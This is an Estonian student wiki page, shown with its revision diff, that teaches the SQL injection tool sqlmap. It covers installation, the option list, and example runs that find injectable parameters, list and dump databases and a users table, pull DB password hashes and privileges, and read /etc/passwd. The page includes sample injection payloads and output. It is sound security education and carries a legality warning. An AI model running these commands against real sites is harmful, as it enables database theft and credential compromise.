Sqlmap: Difference between revisions
mNo edit summary |
mNo edit summary |
||
Line 77: | Line 77: | ||
[http://www.binarytides.com/install-run-sqlmap-windows/ Abiks Windowsis paigaldamisel] | [http://www.binarytides.com/install-run-sqlmap-windows/ Abiks Windowsis paigaldamisel] | ||
''' | |||
==Süntaks== | |||
''' | |||
Ülevaade SQLmap'i [https://github.com/sqlmapproject/sqlmap/wiki/Usage süntaksist]. Käsu üldkuju: | |||
<pre>python sqlmap.py [options]</pre> | |||
Mõned võtmed: | |||
1. '''Sihtmärk''', kellega ühendutakse: | |||
<pre> | |||
-d DIRECT Otseühendus andmebaasiga | |||
-u URL, --url=URL Sihtmärgi URL (näiteks "www.target.com/vuln.php?id=1")</pre> | |||
2. '''Päring''', kuidas sihtmärgiga ühendutakse: | |||
<pre> | |||
--data=DATA Andmestring saadetakse läbi POST'i | |||
--host=HOST HTTP Host'i päis | |||
--proxy=PROXY Kasutada HTTP proxy't et ühenduda URL'iga | |||
--delay=DELAY Ooteaeg sekundites HTTP päringute vahel | |||
--force-ssl Kasuta SSL/HTTPS'i | |||
</pre> | |||
3. '''Optimiseerimine''': | |||
<pre>--threads=THREADS Samaaegsete HTTP(s) päringute arv (vaikimisi 1)</pre> | |||
4. '''Andmebaas''': | |||
<pre> | |||
-a, --all Tagasta kõik | |||
--current-user Tagasta hetkel kasutuses oleva kasutaja | |||
--users Loetle kasutajad | |||
--passwords Loetle kasutajate parooliräsid | |||
--privileges Loetle kasutajate privileegid | |||
--roles Loetle kasutajate rollid | |||
--dbs Loetle andmebaasid | |||
--tables Loetle andmebaasi tabelid | |||
--columns Loetle andmebaasi tabeli veerud | |||
--schema Loetle andmebaasi skeem | |||
--dump Väljasta kogu andmebaasi sisu | |||
--dump-all Väljasta kõikide andmebaaside sisu | |||
--search Otsi veergu, tabelit ja/või andmebaasi nime | |||
-D DB Mis andmebaasist loetleda | |||
-T TBL Mis andmebaasi tabelist loetleda | |||
-C COL Mis tabeli veerust loetleda | |||
-U USER Mis kasutaja kohta loetleda | |||
</pre> | |||
5. '''Failid''': | |||
<pre> | |||
--file-read=RFILE Loe fail süsteemist | |||
--file-write=WFILE Kirjuta fail süsteemi | |||
--file-dest=DFILE Absoluutne failitee kuhu kirjutada | |||
</pre> | |||
''' | ''' | ||
Line 85: | Line 145: | ||
''' | ''' | ||
1. Oletame, et tahame SQLmap'iga testida veebilehte. Selleks laseme SQLmap'il kõigepealt kontrollida, kas antud veebileht on nõrkusega SQL injektsiooni suhtes.[http://www.binarytides.com/sqlmap-hacking-tutorial/] | 1. Oletame, et tahame SQLmap'iga testida veebilehte. Selleks laseme SQLmap'il kõigepealt kontrollida, kas antud veebileht on nõrkusega SQL injektsiooni suhtes. Kasutame võtit '''-u''' (URL).[http://www.binarytides.com/sqlmap-hacking-tutorial/] | ||
<pre>python sqlmap.py -u "http://www.site.com/section.php?id=51"</pre> | <pre>python sqlmap.py -u "http://www.site.com/section.php?id=51"</pre> | ||
Line 211: | Line 271: | ||
''' | ''' | ||
Järgnev käsk tagastab infot kasutajate ja rollide kohta.[http://www.binarytides.com/hack-remote-database-sqlmap/] | Järgnev käsk tagastab infot '''kasutajate ja rollide''' kohta.[http://www.binarytides.com/hack-remote-database-sqlmap/] | ||
<pre>python sqlmap.py -u "http://localhost/weak.php?id=10" --users --passwords --privileges --roles --threads=10</pre> | <pre>python sqlmap.py -u "http://localhost/weak.php?id=10" --users --passwords --privileges --roles --threads=10</pre> | ||
Line 266: | Line 326: | ||
privilege: UPDATE</pre> | privilege: UPDATE</pre> | ||
Leiame info hetkel kasutusel oleva kasutaja, andmebaasi ja hostinime kohta:[http://www.binarytides.com/hack-remote-database-sqlmap/] | Leiame info hetkel kasutusel oleva '''kasutaja, andmebaasi ja hostinime''' kohta:[http://www.binarytides.com/hack-remote-database-sqlmap/] | ||
<pre>python sqlmap.py -u "http://localhost/weak.php?id=10" --current-user --is-dba --current-db --hostname --threads=10</pre> | <pre>python sqlmap.py -u "http://localhost/weak.php?id=10" --current-user --is-dba --current-db --hostname --threads=10</pre> | ||
Line 300: | Line 360: | ||
''' | ''' | ||
Faili lugemine kui on olemas vajalikud õigused, näiteks /etc/passwd:[http://www.binarytides.com/hack-remote-database-sqlmap/] | '''Faili lugemine''' kui on olemas vajalikud õigused, näiteks /etc/passwd:[http://www.binarytides.com/hack-remote-database-sqlmap/] | ||
<pre>python sqlmap.py -u "http://localhost/weak.php?id=10" --file-read=/etc/passwd --threads=10</pre> | <pre>python sqlmap.py -u "http://localhost/weak.php?id=10" --file-read=/etc/passwd --threads=10</pre> | ||
''' | |||
==Kasutatud kirjandus== | |||
''' | |||
[http://www.binarytides.com/sqlmap-hacking-tutorial/ Binarytides] | |||
[http://www.binarytides.com/hack-remote-database-sqlmap/ Binarytides] | |||
[https://hackertarget.com/sqlmap-tutorial/ Hackertarget] | |||
[https://github.com/sqlmapproject/sqlmap/wiki/Usage SQLmap] |
Revision as of 16:43, 14 May 2015
SQLmap
Autor: Elina Prudnikova
Rühm: A21
Mai 2015
Lühikirjeldus
SQLmap on avatud lähtekoodiga programm, mida kasutatakse SQL injektsiooni nõrkuste leidmiseks ja ärakasutamiseks, selleks et testida andmebaasiserverite turvalisust. [1]
SQLmap võimaldab näiteks: luua otseühendust andmebaasiga, alla laadida andmebaasi tabeleid, murda lihtsamaid paroole kasutades sõnastikupõhist rünnet, alla laadida või üles laadida faile andmebaasiserverist, käivitada käske andmebaasiserveris, eskaleerida kasutaja õigusi jne. [2]
NB! SQLmap'i kasutamine kellegi ründamiseks ilma mõlemapoolse nõusolekuta on kuritegu! Kasutajad võtavad täieliku vastutuse enda tegude eest ning programmi loojad ei vastuta võimaliku väärkasutuse või kahju eest!
Paigaldamine
SQLmap on operatsioonisüsteemist sõltumatu, kuna on kirjutatud keeles Python. Teda on võimalik kasutada nii Windowsis kui ka Linux/Unix all. [3]
1. Linux/Unix
SQLmap'i jaoks on kõigepealt vaja paigaldada Python 2.6 või 2.7 versioon.
1. Paigalda Python (Debian, Ubuntu).
sudo apt-get install python2.6
2. Kontrolli versiooni.
python --version
3. Seejärel alla laadida SQLmap.
wget from http://sqlmap.sourceforge.net/#download
4. Pakkida see lahti ja käivitada.
tar zxvf sqlmap-0.9.tar.gz cd sqlmap python sqlmap.py
5. Edukal paigaldamisel tagastab SQLmap:
sqlmap/0.9 - automatic SQL injection and database takeover tool http://sqlmap.sourceforge.net Usage: python sqlmap.py [options] sqlmap.py: error: missing a mandatory parameter ('-d', '-u', '-l', '-r', '-g', '-c', '--wizard' or '--update'), -h for help
Abi paigaldamisel Linux/Unix all
2. Windows
1. Alla laadida ja paigaldada Python 2.6 või 2.7 kodulehelt: Python
2. Alla laadida zip fail SQLmap'i kodulehelt, pakkida see lahti. SQLmap Käsurealt liikuda kataloogi, kuhu see lahti pakiti ja käivitada.
C:\sqlmapproject-sqlmap-2defc30>python ./sqlmap.py Usage: ./sqlmap.py [options] sqlmap.py: error: missing a mandatory option (-d, -u, -l, -m, -r, -g, -c, --wiza rd, --update, --purge-output or --dependencies), use -h for basic or -hh for adv anced help Press Enter to continue...
Süntaks
Ülevaade SQLmap'i süntaksist. Käsu üldkuju:
python sqlmap.py [options]
Mõned võtmed:
1. Sihtmärk, kellega ühendutakse:
-d DIRECT Otseühendus andmebaasiga -u URL, --url=URL Sihtmärgi URL (näiteks "www.target.com/vuln.php?id=1")
2. Päring, kuidas sihtmärgiga ühendutakse:
--data=DATA Andmestring saadetakse läbi POST'i --host=HOST HTTP Host'i päis --proxy=PROXY Kasutada HTTP proxy't et ühenduda URL'iga --delay=DELAY Ooteaeg sekundites HTTP päringute vahel --force-ssl Kasuta SSL/HTTPS'i
3. Optimiseerimine:
--threads=THREADS Samaaegsete HTTP(s) päringute arv (vaikimisi 1)
4. Andmebaas:
-a, --all Tagasta kõik --current-user Tagasta hetkel kasutuses oleva kasutaja --users Loetle kasutajad --passwords Loetle kasutajate parooliräsid --privileges Loetle kasutajate privileegid --roles Loetle kasutajate rollid --dbs Loetle andmebaasid --tables Loetle andmebaasi tabelid --columns Loetle andmebaasi tabeli veerud --schema Loetle andmebaasi skeem --dump Väljasta kogu andmebaasi sisu --dump-all Väljasta kõikide andmebaaside sisu --search Otsi veergu, tabelit ja/või andmebaasi nime -D DB Mis andmebaasist loetleda -T TBL Mis andmebaasi tabelist loetleda -C COL Mis tabeli veerust loetleda -U USER Mis kasutaja kohta loetleda
5. Failid:
--file-read=RFILE Loe fail süsteemist --file-write=WFILE Kirjuta fail süsteemi --file-dest=DFILE Absoluutne failitee kuhu kirjutada
Kasutamine
1. Andmebaasid ja tabelid
1. Oletame, et tahame SQLmap'iga testida veebilehte. Selleks laseme SQLmap'il kõigepealt kontrollida, kas antud veebileht on nõrkusega SQL injektsiooni suhtes. Kasutame võtit -u (URL).[4]
python sqlmap.py -u "http://www.site.com/section.php?id=51"
Näidisväljund, milles näha opsüsteem, veebiserveri ja andmebaasi tüüp koos versiooninumbriga:[5]
[*] starting at 12:10:33 [12:10:33] [INFO] resuming back-end DBMS 'mysql' [12:10:34] [INFO] testing connection to the target url sqlmap identified the following injection points with a total of 0 HTTP(s) requests: --- Place: GET Parameter: id Type: error-based Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause Payload: id=51 AND (SELECT 1489 FROM(SELECT COUNT(*),CONCAT(0x3a73776c3a,(SELECT (CASE WHEN (1489=1489) THEN 1 ELSE 0 END)),0x3a7a76653a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) --- [12:10:37] [INFO] the back-end DBMS is MySQL web server operating system: FreeBSD web application technology: Apache 2.2.22 back-end DBMS: MySQL 5
2. Kuna antud veebiserver on seega rünnatav, saab näiteks tagastada andmebaaside nimekirja, kasutades võtit --dbs:[6]
python sqlmap.py -u "http://www.sitemap.com/section.php?id=51" --dbs
Näidisväljund, mis näitab andmebaaside nimekirja:[7]
[*] starting at 12:12:56 [12:12:56] [INFO] resuming back-end DBMS 'mysql' [12:12:57] [INFO] testing connection to the target url sqlmap identified the following injection points with a total of 0 HTTP(s) requests: --- Place: GET Parameter: id Type: error-based Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause Payload: id=51 AND (SELECT 1489 FROM(SELECT COUNT(*),CONCAT(0x3a73776c3a,(SELECT (CASE WHEN (1489=1489) THEN 1 ELSE 0 END)),0x3a7a76653a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) --- [12:13:00] [INFO] the back-end DBMS is MySQL web server operating system: FreeBSD web application technology: Apache 2.2.22 back-end DBMS: MySQL 5 [12:13:00] [INFO] fetching database names [12:13:00] [INFO] the SQL query used returns 2 entries [12:13:00] [INFO] resumed: information_schema [12:13:00] [INFO] resumed: safecosmetics available databases [2]: [*] information_schema [*] safecosmetics
3. Leiame kõik tabelid, mis asuvad andmebaasis "safecosmetics":[8]
python sqlmap.py -u "http://www.site.com/section.php?id=51" --tables -D safecosmetics
Näidisväljund:[9]
[11:55:18] [INFO] the back-end DBMS is MySQL web server operating system: FreeBSD web application technology: Apache 2.2.22 back-end DBMS: MySQL 5 [11:55:18] [INFO] fetching tables for database: 'safecosmetics' [11:55:19] [INFO] heuristics detected web page charset 'ascii' [11:55:19] [INFO] the SQL query used returns 216 entries [11:55:20] [INFO] retrieved: acl_acl [11:55:21] [INFO] retrieved: acl_acl_sections ........... more tables
4. Leiame veerud tabelis "users" andmebaasis "safecosmetics":[10]
python sqlmap.py -u "http://www.site.com/section.php?id=51" --columns -D safecosmetics -T users
Näidisväljund:[11]
[12:17:39] [INFO] the back-end DBMS is MySQL web server operating system: FreeBSD web application technology: Apache 2.2.22 back-end DBMS: MySQL 5 [12:17:39] [INFO] fetching columns for table 'users' in database 'safecosmetics' [12:17:41] [INFO] heuristics detected web page charset 'ascii' [12:17:41] [INFO] the SQL query used returns 8 entries [12:17:42] [INFO] retrieved: id [12:17:43] [INFO] retrieved: int(11) [12:17:45] [INFO] retrieved: name [12:17:46] [INFO] retrieved: text [12:17:47] [INFO] retrieved: password [12:17:48] [INFO] retrieved: text ....... [12:17:59] [INFO] retrieved: hash [12:18:01] [INFO] retrieved: varchar(128) Database: safecosmetics Table: users [8 columns] +-------------------+--------------+ | Column | Type | +-------------------+--------------+ | email | text | | hash | varchar(128) | | id | int(11) | | name | text | | password | text | | permission | tinyint(4) | | system_allow_only | text | | system_home | text | +-------------------+--------------+
5. Leiame eelnevast tabelist andmed:[12]
python sqlmap.py -u "http://www.site.com/section.php?id=51" --dump -D safecosmetics -T users
Näidisväljund, mis on sarnane mysqldump käsule:[13]
+----+--------------------+-----------+-----------+----------+------------+-------------+-------------------+ | id | hash | name | email | password | permission | system_home | system_allow_only | +----+--------------------+-----------+-----------+----------+------------+-------------+-------------------+ | 1 | 5DIpzzDHFOwnCvPonu | admin | <blank> | <blank> | 3 | <blank> | <blank> | +----+--------------------+-----------+-----------+----------+------------+-------------+-------------------+
2. Kasutajad
Järgnev käsk tagastab infot kasutajate ja rollide kohta.[14]
python sqlmap.py -u "http://localhost/weak.php?id=10" --users --passwords --privileges --roles --threads=10
Näidisväljund:[15]
.......... database management system users [5]: [*] ''@'localhost' [*] ''@'localhost.localdomain' [*] 'root'@'127.0.0.1' [*] 'root'@'localhost' [*] 'root'@'localhost.localdomain' ............. database management system users password hashes: [*] [1]: password hash: NULL [*] root [2]: password hash: *2470C0C06DEE42FD1618BB99005ADCA2EC9D1E19 password hash: NULL ........ [*] %root% (administrator) [27]: privilege: ALTER privilege: ALTER ROUTINE privilege: CREATE privilege: CREATE ROUTINE privilege: CREATE TEMPORARY TABLES privilege: CREATE USER privilege: CREATE VIEW privilege: DELETE privilege: DROP privilege: EVENT privilege: EXECUTE privilege: FILE privilege: INDEX privilege: INSERT privilege: LOCK TABLES privilege: PROCESS privilege: REFERENCES privilege: RELOAD privilege: REPLICATION CLIENT privilege: REPLICATION SLAVE privilege: SELECT privilege: SHOW DATABASES privilege: SHOW VIEW privilege: SHUTDOWN privilege: SUPER privilege: TRIGGER privilege: UPDATE
Leiame info hetkel kasutusel oleva kasutaja, andmebaasi ja hostinime kohta:[16]
python sqlmap.py -u "http://localhost/weak.php?id=10" --current-user --is-dba --current-db --hostname --threads=10
Näidisväljund:[17]
........ [11:32:33] [INFO] the back-end DBMS is MySQL web server operating system: Linux Red Hat Enterprise 6 (Santiago) web application technology: PHP 5.3.3, Apache 2.2.15 back-end DBMS: MySQL 5.0.11 [11:32:33] [INFO] fetching current user [11:32:33] [INFO] retrieving the length of query output [11:32:33] [INFO] retrieved: 14 [11:32:38] [INFO] retrieved: root@localhost current user: 'root@localhost' [11:32:38] [INFO] fetching current database [11:32:38] [INFO] retrieving the length of query output [11:32:38] [INFO] retrieved: 5 [11:32:40] [INFO] resumed: profile_data current database: 'profile_data' [11:32:40] [INFO] fetching server hostname [11:32:40] [INFO] retrieving the length of query output [11:32:40] [INFO] retrieved: 21 [11:32:48] [INFO] retrieved: localhost.localdomain hostname: 'localhost.localdomain' [11:32:48] [INFO] testing if current user is DBA [11:32:48] [INFO] fetching current user current user is DBA: False
2. Failid
Faili lugemine kui on olemas vajalikud õigused, näiteks /etc/passwd:[18]
python sqlmap.py -u "http://localhost/weak.php?id=10" --file-read=/etc/passwd --threads=10